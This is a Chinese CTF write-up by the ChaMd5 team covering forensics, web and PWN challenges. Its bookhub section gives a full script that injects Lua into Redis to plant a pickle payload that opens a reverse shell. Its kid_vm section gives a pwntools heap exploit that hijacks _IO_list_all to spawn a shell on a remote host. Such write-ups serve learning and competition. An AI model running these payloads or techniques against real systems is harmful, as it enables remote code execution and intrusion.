【
本文来自 ChaMd5安全团队,文章内容以思路为主。
如需转载,请先联系ChaMd5安全团队授权。
未经授权请勿转载。
】
check-in
advertisement
题目描述里写平台很安全,请不要攻击。
所以尝试抓包,往Cookie的uid进行sqli
Forensics
ccls-fringe
解压blob,执行以下脚本
import os, sys1
f = open('blob','rb+')
con = f.read()
for i in range(len(con)):
if ord(con[i]) == 0:
outstr = ''
hexstr = ''
for j in range(10):
if i+j < len(con):1
hexstr = '%02x '%ord(con[i+j]) + hexstr
for j in range(i):
ch = ord(con[i-1-j])
if ch >= 0x20 and ch < 0x80:
outstr = chr(ch) + outstr
else:
if len(outstr) > 1 and outstr.find('int ') >= 0:
print hexstr + outstr
break
进行排序,发现变量定义有问题。
找到所有int定义,发现还有个int b,组合起来得到flag
flag:blesswodwhoisinhk
web
dot free
Django框架,输入任意地址可爆出所有路由。根据debug信息(XSSWebSite.urls)猜测为XSS题目
过滤规则:空格,可以用/绕过
尝试盲打XSS,未收到返回
参数传入为数组url[]=xxx。触发django的debug,得到如下信息
题目环境有点尴尬,死活收不到bot访问,一气之下开启了fuzz爆破,然后,然后就出来了。
bookhub
源码审计题目,flask框架,访问http://52.52.4.252:8080/www.zip下载到源码
user.py Line 90看到有eval操作,猜测可以代码执行
访问白名单中检查了X-Forwarded-For,改为127.0.0.1过不去
具体白名单是 10.0.0.0/8,127.0.0.0/8,172.16.0.0/12,192.168.0.0/16,18.213.16.123.
后端服务器使用了Nginx,猜测有一层反代干掉了X-Fowarded-For而导致无法伪造。
52.52.4.252:8080 本质是一个http代理
挂上这层代理访问http://127.0.0.1:5000 可以绕过
但是发现当挂上代理之后,访问任何域名任何页面,都是book的页面
新世界、 http://18.213.16.123:5000/
题目思路应该是Redis + Lua注入,反序列化
https://xz.aliyun.com/t/219
https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
关键点 session + csrf token,构造反序列化代码,并防止csrftoken更新把反序列化代码删掉
以下脚本说明一切
# -*- coding:utf-8 -*-
import requests
import re
import json
import random
import string
import cPickle
import os
import urllib
req = requests.Session()
DEBUG = 0
URL = "http://18.213.16.123:5000/" if not DEBUG else "http://127.0.0.1:5000/"
def rs(n=6):
return ''.join(random.sample(string.ascii_letters + string.digits, n))
class exp(object):
def __reduce__(self):
listen_ip = "127.0.0.1"
listen_port = 1234
s = 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'' % (
listen_ip, listen_port)
return (os.system, (s,))
x = [{'_fresh': False, '_permanent': True,
'csrf_token': '2f898d232024ac0e0fc5f5e6fdd3a9a7dad462e8', 'exp': exp()}]
s = cPickle.dumps(x)
if __name__ == '__main__':
payload = urllib.quote(s)
yoursid = 'vvv'
funcode = r"local function urlDecode(s) s = string.gsub(s, '%%(%x%x)', function(h) return string.char(tonumber(h, 16)) end) return s end"
# 插入payload并防止del
sid = '%s\\" } %s ' % (rs(6), funcode) + \
'redis.call(\\"set\\",\\"bookhub:session:%s\\",\\urlDecode("%s\\")) inputs = { \"bookhub:session:%s\" } --' % (
yoursid, payload, yoursid)
headers = {
"Cookie": 'bookhub-session="x%s"' % sid,
"Content-Type": "application/x-www-form-urlencoded",
'X-CSRFToken': 'ImY3NGI2MDcxNmQ5NmYwYjExZTQ4N2ZlYTMxNDg0ZGQ3NjA0MGU2OWIi.Dj9f9w.WL0VY6e2y6edFTh6QcOKo9DnzLw',
}
res = req.get(URL + 'login/', headers=headers)
if res.status_code == 200:
html = res.content
r = re.findall(r'csrf_token" type="hidden" value="(.*?)">', html)
if r:
headers['X-CSRFToken'] = r[0]
# refresh_session
data = {'submit': '1'}
res = req.post(URL + 'admin/system/refresh_session/',
data=data, headers=headers)
if res.status_code == 200:
print(res.content)
else:
print(res.content)
# fuck
headers['Cookie'] = 'bookhub-session=vvv'
res = req.get(URL + 'admin/', headers=headers)
if res.status_code == 200:
print(res.content)
else:
print(res.content)
PWN
kid vim
使用了KVM。在host的free函数存在可能出现的hangling pointer;update函数中可能出现数据双向copy:
//free
if ( r_cx <= 0x10u )
{
switch ( r_bx )
{
case 2:
free(list_2030A0[r_cx]);
list_2030A0[r_cx] = 0LL;
--count_20304C;
break;
case 3:
free(list_2030A0[r_cx]);
list_2030A0[r_cx] = 0LL;
size_203060[r_cx] = 0;
--count_20304C;
break;
case 1:
free(list_2030A0[r_cx]); // hangling pointer
break;
}
}
//upate
if ( r_cx <= 0x10u )
{
if ( list_2030A0[r_cx] )
{
if ( r_dx <= size_203060[r_cx] )
{
if ( r_bx == 1 )
{
memcpy(list_2030A0[r_cx], (mem + 0x4000), r_dx);
}
else if ( r_bx == 2 )
{
memcpy((mem + 0x4000), list_2030A0[r_cx], r_dx);
}
}
else
{
perror("Memory overflow!");
}
}
else
{
perror("No memory in this idx!");
}
}
else
{
perror("Index out of bound!");
}
在正常情况下,以上可能没有满足的条件。
幸好guest的alloc函数使以上可能成为现实:
seg000:006F push ax
seg000:0070 push bx
seg000:0071 push cx
seg000:0072 push dx
seg000:0073 push si
seg000:0074 push di
seg000:0075 mov ax, offset aSize ; Size:
seg000:0078 mov bx, 5
seg000:007B call print
seg000:007E mov ax, offset size
seg000:0081 mov bx, 2
seg000:0084 call get_input
seg000:0087 mov ax, ds:size
seg000:008A cmp ax, 1000h
seg000:008D ja short error_big ; Too big
seg000:008F mov cx, word ptr ds:size_total
seg000:0093 cmp cx, 0B000h
seg000:0097 ja short loc_CD ; Guest memory is full! Please use the host memory!
seg000:0099 mov si, word ptr ds:count
seg000:009D cmp si, 10h
seg000:00A0 jnb short loc_D8
seg000:00A2 mov di, cx
seg000:00A4 add cx, 5000h
seg000:00A8 add si, si
seg000:00AA mov ds:heap_addr[si], cx
seg000:00AE mov ds:heap_size[si], ax
seg000:00B2 add di, ax
seg000:00B4 mov word ptr ds:size_total, di
seg000:00B8 mov al, ds:count
seg000:00BB inc al
seg000:00BD mov ds:count, al
seg000:00C0 jmp short end
seg000:00C2 ; ---------------------------------------------------------------------------
seg000:00C2
seg000:00C2 error_big: ; CODE XREF: F_alloc+1E↑j
seg000:00C2 mov ax, offset aTooBig ; Too big
seg000:00C5 mov bx, 8
seg000:00C8 call print
seg000:00CB jmp short end
seg000:00CD ; ---------------------------------------------------------------------------
seg000:00CD
seg000:00CD loc_CD: ; CODE XREF: F_alloc+28↑j
seg000:00CD mov ax, offset aGuestMemoryIsF ; Guest memory is full! Please use the host memory!
seg000:00D0 mov bx, 32h ; '2'
seg000:00D3 call print
seg000:00D6 jmp short end
seg000:00D8 ; ---------------------------------------------------------------------------
seg000:00D8
seg000:00D8 loc_D8: ; CODE XREF: F_alloc+31↑j
seg000:00D8 mov ax, offset aTooManyMemory ; "Too many memory\n"
seg000:00DB mov bx, 10h
seg000:00DE call print
seg000:00E1
seg000:00E1 end: ; CODE XREF: F_alloc+51↑j
seg000:00E1 ; F_alloc+5C↑j ...
seg000:00E1 pop di
seg000:00E2 pop si
seg000:00E3 pop dx
seg000:00E4 pop cx
seg000:00E5 pop bx
seg000:00E6 pop ax
seg000:00E7 retn
由于guest的空间申请限制是由已申请的尺寸控制的(实际存在条件检查不严的问题),当总大小为0xb000时再申请空间,其起始地址溢出成0,且通过所有检查。通过update功能可实现vm代码的覆写,为host端的漏洞利用创造条件。
在vm中也可以加入一个打印输出的功能,将mem+0x4000读回的数据输出,实现leak。
其它部分就是典型的unsorted bin attack,修改_IO_list_all来劫持vtable,从而get shell。
代码如下(第一次用,写得又乱又丑):
#!/usr/bin/env python
from pwn import *
def alloc(size):
io.recvuntil('choice:')
io.send('1')
io.recvuntil('Size:')
io.send(p16(size))
def update(idx,data):
io.recvuntil('choice:')
io.send('2')
io.recvuntil('Index:')
io.send(p8(idx))
io.recvuntil('Content:')
io.send(data)
def show(size):
io.recvuntil('choice:')
io.send('3')
io.recvuntil('Size:')
io.send(p16(size))
def alloc_h(size):
io.recvuntil('choice:')
io.send('4')
io.recvuntil('Size:')
io.send(p16(size))
def update_h(size,idx,data):
io.recvuntil('choice:')
io.send('5')
io.recvuntil('Size:')
io.send(p16(size))
io.recvuntil('Index:')
io.send(p8(idx))
io.recvuntil('Content:')
io.send(data)
def free_h(idx):
io.recvuntil('choice:')
io.send('6')
io.recvuntil('Index:')
io.send(p8(idx))
def pwn():
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
for i in range(11):
alloc(0x1000)
alloc(0x3ae)
data = file('bin','rb').read()
update(0x0b,data)
alloc_h(0x100)
alloc_h(0x100)
alloc_h(0x200)
alloc_h(0x100)
free_h(0)
free_h(2)
update(0,'\x02')
update_h(0x10,0,'\x01'*0x10)
show(0x4000)
addr = u64(io.recvn(8))
heap = u64(io.recvn(8))
libc = addr - 0x3C4B78
io_list_all = libc+0x3c5520
hook_addr = libc+0x3C4B10
one_addr = libc+0x4526a
log.info(hex(libc))
update(0,'\x01')
alloc_h(0x100)
alloc_h(0x1a0)
free_h(0)
update_h(0x10,0,p64(addr)+p64(io_list_all-0x10))
update_h(0x70,3,'\x00'*0x68+p64(heap+8))
alloc_h(0x100)
data = '\x00'*0x10+p64(one_addr)+'A'*0x178+p64(0x0)+p64(0x60)
fake_file =p64(0)*5
fake_file += p64(2)
fake_file += p64(0)*4
data += fake_file
update_h(len(data),2,data)
io.recvuntil('choice:')
io.send('7')
io.interactive()
if __name__ == '__main__':
context(arch='amd64', kernel='amd64', os='linux')
HOST, PORT = '0.0.0.0', 9999
HOST, PORT = '34.236.229.208', 9999
# libc = ELF('./libc.so.6')
if len(sys.argv) > 1 and sys.argv[1] == 'l':
io = process('./kid_vm')
context.log_level = 'debug'
else:
io = remote(HOST, PORT)
pwn()